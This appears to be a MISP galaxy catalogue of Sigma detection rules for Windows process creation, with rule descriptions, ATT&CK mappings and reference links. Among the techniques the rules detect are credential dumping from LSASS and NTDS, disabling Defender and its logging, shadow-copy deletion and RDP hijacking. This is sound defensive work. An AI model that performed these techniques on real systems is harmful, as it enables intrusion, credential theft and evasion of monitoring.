Remotely Hosted HTA File Executed Via Mshta.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 15842. Table References

Links
https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml

CreateDump Process Dump

Detects uses of the createdump.exe LOLOBIN utility to dump process memory

The tag is: *misp-galaxy:sigma-rules="CreateDump Process Dump"*

View relationships graph

CreateDump Process Dump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15843. Table References

Links
https://twitter.com/bopin2020/status/1366400799199272960
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_createdump_lolbin_execution.yml

Uncommon Child Process Of Setres.EXE

Detects uncommon child process of Setres.EXE. Setres.EXE is a Windows server only process and tool that can be used to set the screen resolution. It can potentially be abused in order to launch any arbitrary file with a name containing the word "choice" from the current execution path.

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Of Setres.EXE"*

View relationships graph

Uncommon Child Process Of Setres.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15844. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Setres/
https://strontic.github.io/xcyclopedia/library/setres.exe-0E30E4C09637D7A128A37B59A3BC4D09.html

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
https://twitter.com/0gtweet/status/1583356502340870144
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_setres_uncommon_child_process.yml

HackTool - PowerTool Execution

Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files

The tag is: *misp-galaxy:sigma-rules="HackTool - PowerTool Execution"*

View relationships graph

HackTool - PowerTool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15845. Table References

Links
https://twitter.com/gbti_sa/status/1249653895900602375?lang=en
https://www.softpedia.com/get/Antivirus/Removal-Tools/ithurricane-PowerTool.shtml
https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html
https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powertool.yml

Potential Recon Activity Via Nltest.EXE

Detects nltest commands that can be used for information discovery

The tag is: *misp-galaxy:sigma-rules="Potential Recon Activity Via Nltest.EXE"*

View relationships graph

Potential Recon Activity Via Nltest.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 15846. Table References

Links
https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)
https://github.com/redcanaryco/atomic-red-team/blob/5360c9d9ffa3b25f6495f7a16e267b719eba2c37/atomics/T1482/T1482.md#atomic-test-2---windows---discover-domain-trusts-with-nltest
https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml

Potential DLL Injection Or Execution Using Tracker.exe

Detects potential DLL injection and execution using "Tracker.exe"

The tag is: *misp-galaxy:sigma-rules="Potential DLL Injection Or Execution Using Tracker.exe"*

View relationships graph

Potential DLL Injection Or Execution Using Tracker.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 15847. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml

Suspicious Active Directory Database Snapshot Via ADExplorer

Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database to a suspicious directory. This can be used by attackers to

extract data for Bloodhound, usernames for password spraying or use the meta data for social engineering. The snapshot doesn't contain password hashes but there have been cases, where administrators put passwords in the comment field.

The tag is: *misp-galaxy:sigma-rules="Suspicious Active Directory Database Snapshot Via ADExplorer"*

View relationships graph

Suspicious Active Directory Database Snapshot Via ADExplorer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 15848. Table References

Links
https://www.packetlabs.net/posts/scattered-spider-is-a-young-ransomware-gang-exploiting-large-corporations/
https://trustedsec.com/blog/adexplorer-on-engagements
https://www.nccgroup.com/us/research-blog/lapsus-recent-techniques-tactics-and-procedures/
https://github.com/c3c/ADExplorerSnapshot.py/tree/f700904defac330802bbfedd1d8ffd9248f4ee24
https://learn.microsoft.com/de-de/sysinternals/downloads/adexplorer
https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_adexplorer_susp_execution.yml

System File Execution Location Anomaly

Detects the execution of a Windows system binary that is usually located in the system folder from an uncommon location.

The tag is: *misp-galaxy:sigma-rules="System File Execution Location Anomaly"*

View relationships graph

System File Execution Location Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15849. Table References

Links

https://www.splunk.com/en_us/blog/security/inno-setup-malware-redline-stealer-campaign.html
https://asec.ahnlab.com/en/39828/
https://twitter.com/GelosSnake/status/934900723426439170
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly.yml

Imports Registry Key From a File

Detects the import of the specified file to the registry with regedit.exe.

The tag is: *misp-galaxy:sigma-rules="Imports Registry Key From a File"*

View relationships graph

Imports Registry Key From a File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15850. Table References

Links
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://lolbas-project.github.io/lolbas/Binaries/Regedit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml

Suspicious Scheduled Task Creation Involving Temp Folder

Detects the creation of scheduled tasks that involves a temporary folder and runs only once

The tag is: *misp-galaxy:sigma-rules="Suspicious Scheduled Task Creation Involving Temp Folder"*

View relationships graph

Suspicious Scheduled Task Creation Involving Temp Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15851. Table References

Links
https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_creation_temp_folder.yml

Suspicious TSCON Start as SYSTEM

Detects a tscon.exe start as LOCAL SYSTEM

The tag is: *misp-galaxy:sigma-rules="Suspicious TSCON Start as SYSTEM"*

View relationships graph

Suspicious TSCON Start as SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15852. Table References

Links
https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml

Fsutil Suspicious Invocation

Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).

The tag is: *misp-galaxy:sigma-rules="Fsutil Suspicious Invocation"*

View relationships graph

Fsutil Suspicious Invocation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 15853. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn
https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md
https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_usage.yml

Security Service Disabled Via Reg.EXE

Detects execution of "reg.exe" to disable security services such as Windows Defender.

The tag is: *misp-galaxy:sigma-rules="Security Service Disabled Via Reg.EXE"*

View relationships graph

Security Service Disabled Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15854. Table References

Links
https://bidouillesecurity.com/disable-windows-defender-in-powershell/
https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1
https://vms.drweb.fr/virus/?i=24144899
https://twitter.com/JohnLaTwC/status/1415295021041979392
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_disable_sec_services.yml

Esentutl Gather Credentials

Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.

The tag is: *misp-galaxy:sigma-rules="Esentutl Gather Credentials"*

View relationships graph

Esentutl Gather Credentials has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15855. Table References

Links
https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/
https://twitter.com/vxunderground/status/1423336151860002816
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_params.yml

Suspicious Spool Service Child Process

Detects suspicious print spool service (spoolsv.exe) child processes.

The tag is: *misp-galaxy:sigma-rules="Suspicious Spool Service Child Process"*

View relationships graph

Suspicious Spool Service Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 15856. Table References

Links
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spoolsv_susp_child_processes.yml

SyncAppvPublishingServer Execute Arbitrary PowerShell Code

Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.

The tag is: *misp-galaxy:sigma-rules="SyncAppvPublishingServer Execute Arbitrary PowerShell Code"*

View relationships graph

SyncAppvPublishingServer Execute Arbitrary PowerShell Code has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with

estimative-language:likelihood-probability="almost-certain"

Table 15857. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml

Vulnerable Driver Blocklist Registry Tampering Via CommandLine

Detects tampering of the Vulnerable Driver Blocklist registry via command line tools such as PowerShell or REG.EXE. The Vulnerable Driver Blocklist is a security feature that helps prevent the loading of known vulnerable drivers. Disabling this feature may indicate an attempt to bypass security controls, often targeted by threat actors to facilitate the installation of malicious or vulnerable drivers, particularly in scenarios involving Endpoint Detection and Response

The tag is: *misp-galaxy:sigma-rules="Vulnerable Driver Blocklist Registry Tampering Via CommandLine"*

View relationships graph

Vulnerable Driver Blocklist Registry Tampering Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15858. Table References

Links
https://www.sophos.com/en-us/blog/sharpening-the-knife-gold-blades-strategic-evolution
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vulnerable_driver_blocklist_registry_tampering.yml

Potential PowerShell Execution Policy Tampering - ProcCreation

Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Execution Policy Tampering -*

ProcCreation"

Table 15859. Table References

Links
https://learn.microsoft.com/de-de/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_set_unsecure_powershell_policy.yml

Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE

Detects potential malicious and unauthorized usage of bcdedit.exe

The tag is: *misp-galaxy:sigma-rules="Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE"*

View relationships graph

Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

Table 15860. Table References

Links
https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2
https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit—set
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_susp_execution.yml

PUA - Process Hacker Execution

Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.

The tag is: *misp-galaxy:sigma-rules="PUA - Process Hacker Execution"*

View relationships graph

PUA - Process Hacker Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 15861. Table References

Links
https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/
https://processhacker.sourceforge.io/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_process_hacker.yml

Potentially Suspicious NTFS Symlink Behavior Modification

Detects the modification of NTFS symbolic link behavior using fsutil, which could be used to enable remote to local or remote to remote symlinks for potential attacks.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious NTFS Symlink Behavior Modification"*

View relationships graph

Potentially Suspicious NTFS Symlink Behavior Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"

Table 15862. Table References

Links
https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior
https://thedfirreport.com/2025/06/30/hide-your-rdp-password-spray-leads-to-ransomhub-deployment/
https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_symlinkevaluation.yml

Suspicious Cabinet File Execution Via Msdt.EXE

Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190

The tag is: *misp-galaxy:sigma-rules="Suspicious Cabinet File Execution Via Msdt.EXE"*

View relationships graph

Suspicious Cabinet File Execution Via Msdt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15863. Table References

Links
https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0
https://twitter.com/nas_bench/status/1537896324837781506
https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml

PUA - Fast Reverse Proxy (FRP) Execution

Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.

The tag is: *misp-galaxy:sigma-rules="PUA - Fast Reverse Proxy (FRP) Execution"*

View relationships graph

PUA - Fast Reverse Proxy (FRP) Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 15864. Table References

Links
https://asec.ahnlab.com/en/38156/
https://github.com/fatedier/frp

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_frp.yml

Cscript/Wscript Potentially Suspicious Child Process

Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.

The tag is: *misp-galaxy:sigma-rules="Cscript/Wscript Potentially Suspicious Child Process"*

Table 15865. Table References

Links
https://github.com/pr0xylife/Pikabot/blob/fc58126127adf0f65e78f4eec59675523f48f086/Pikabot_22.12.2023.txt
https://github.com/pr0xylife/Pikabot/blob/fc58126127adf0f65e78f4eec59675523f48f086/Pikabot_30.10.2023.txt
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_susp_child_processes.yml

Potential Persistence Via Microsoft Compatibility Appraiser

Detects manual execution of the "Microsoft Compatibility Appraiser" task via schtasks. In order to trigger persistence stored in the "\AppCompatFlags\TelemetryController" registry key.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Microsoft Compatibility Appraiser"*

View relationships graph

Potential Persistence Via Microsoft Compatibility Appraiser has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15866. Table References

Links
https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_persistence_windows_telemetry.yml

Tamper Windows Defender Remove-MpPreference

Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet

The tag is: *misp-galaxy:sigma-rules="Tamper Windows Defender Remove-MpPreference"*

View relationships graph

Tamper Windows Defender Remove-MpPreference has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15867. Table References

Links
https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_remove_mppreference.yml

Potential PowerShell Execution Via DLL

Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll. This detection assumes that PowerShell commands are passed via the CommandLine.

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Execution Via DLL"*

View relationships graph

Potential PowerShell Execution Via DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15868. Table References

Links
https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_execution_via_dll.yml

Directory Removal Via Rmdir

Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native

files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

The tag is: *misp-galaxy:sigma-rules="Directory Removal Via Rmdir"*

View relationships graph

Directory Removal Via Rmdir has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 15869. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_rmdir_execution.yml

HackTool - PurpleSharp Execution

Detects the execution of the PurpleSharp adversary simulation tool

The tag is: *misp-galaxy:sigma-rules="HackTool - PurpleSharp Execution"*

View relationships graph

HackTool - PurpleSharp Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"

Table 15870. Table References

Links
https://github.com/mvelazc0/PurpleSharp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_purplesharp_indicators.yml

Security Tools Keyword Lookup Via Findstr.EXE

Detects execution of "findstr" to search for common names of security tools. Attackers often pipe the results of recon commands such as "tasklist" or "whoami" to "findstr" in order to filter out the results. This detection focuses on the keywords that the attacker might use as a filter.

The tag is: *misp-galaxy:sigma-rules="Security Tools Keyword Lookup Via Findstr.EXE"*

View relationships graph

Security Tools Keyword Lookup Via Findstr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

Table 15871. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3cff4b9f6e388c139c05bf44bbb8/atomics/T1518.001/T1518.001.md#atomic-test-1---security-software-discovery
https://www.hhs.gov/sites/default/files/manage-engine-vulnerability-sector-alert-tlpclear.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_security_keyword_lookup.yml

Disabling Windows Defender WMI Autologger Session via Reg.exe

Detects the use of reg.exe to disable the Event Tracing for Windows (ETW) Autologger session for Windows Defender API and Audit events. By setting the 'Start' value to '0' for the 'DefenderApiLogger' or 'DefenderAuditLogger' session, an attacker can prevent these critical security events from being logged, effectively blinding monitoring tools that rely on this data. This is a powerful defense evasion technique.

The tag is: *misp-galaxy:sigma-rules="Disabling Windows Defender WMI Autologger Session via Reg.exe"*

View relationships graph

Disabling Windows Defender WMI Autologger Session via Reg.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15872. Table References

Links
https://research.splunk.com/endpoint/76406a0f-f5e0-4167-8e1f-337fdc0f1b0c/
https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
https://www.binarly.io/blog/design-issues-of-modern-edrs-bypassing-etw-based-solutions
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/

https://docs.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_disable_defender_wmi_autologger.yml

Deletion of Volume Shadow Copies via WMI with PowerShell

Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil

The tag is: *misp-galaxy:sigma-rules="Deletion of Volume Shadow Copies via WMI with PowerShell"*

View relationships graph

Deletion of Volume Shadow Copies via WMI with PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15873. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell
https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_shadowcopy_deletion.yml

Code Execution via Pcwutl.dll

Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.

The tag is: *misp-galaxy:sigma-rules="Code Execution via Pcwutl.dll"*

View relationships graph

Code Execution via Pcwutl.dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15874. Table References

Links

https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/
https://twitter.com/harr0ey/status/989617817849876488
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwutl.yml

Outlook EnableUnsafeClientMailRules Setting Enabled

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

The tag is: *misp-galaxy:sigma-rules="Outlook EnableUnsafeClientMailRules Setting Enabled"*

View relationships graph

Outlook EnableUnsafeClientMailRules Setting Enabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15875. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44
https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_enable_unsafe_client_mail_rules.yml

Potential Meterpreter/CobaltStrike Activity

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting

The tag is: *misp-galaxy:sigma-rules="Potential Meterpreter/CobaltStrike Activity"*

View relationships graph

Potential Meterpreter/CobaltStrike Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

Table 15876. Table References

Links
https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_meterpreter_getsystem.yml

VolumeShadowCopy Symlink Creation Via Mklink

Shadow Copies storage symbolic link creation using operating systems utilities

The tag is: *misp-galaxy:sigma-rules="VolumeShadowCopy Symlink Creation Via Mklink"*

View relationships graph

VolumeShadowCopy Symlink Creation Via Mklink has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15877. Table References

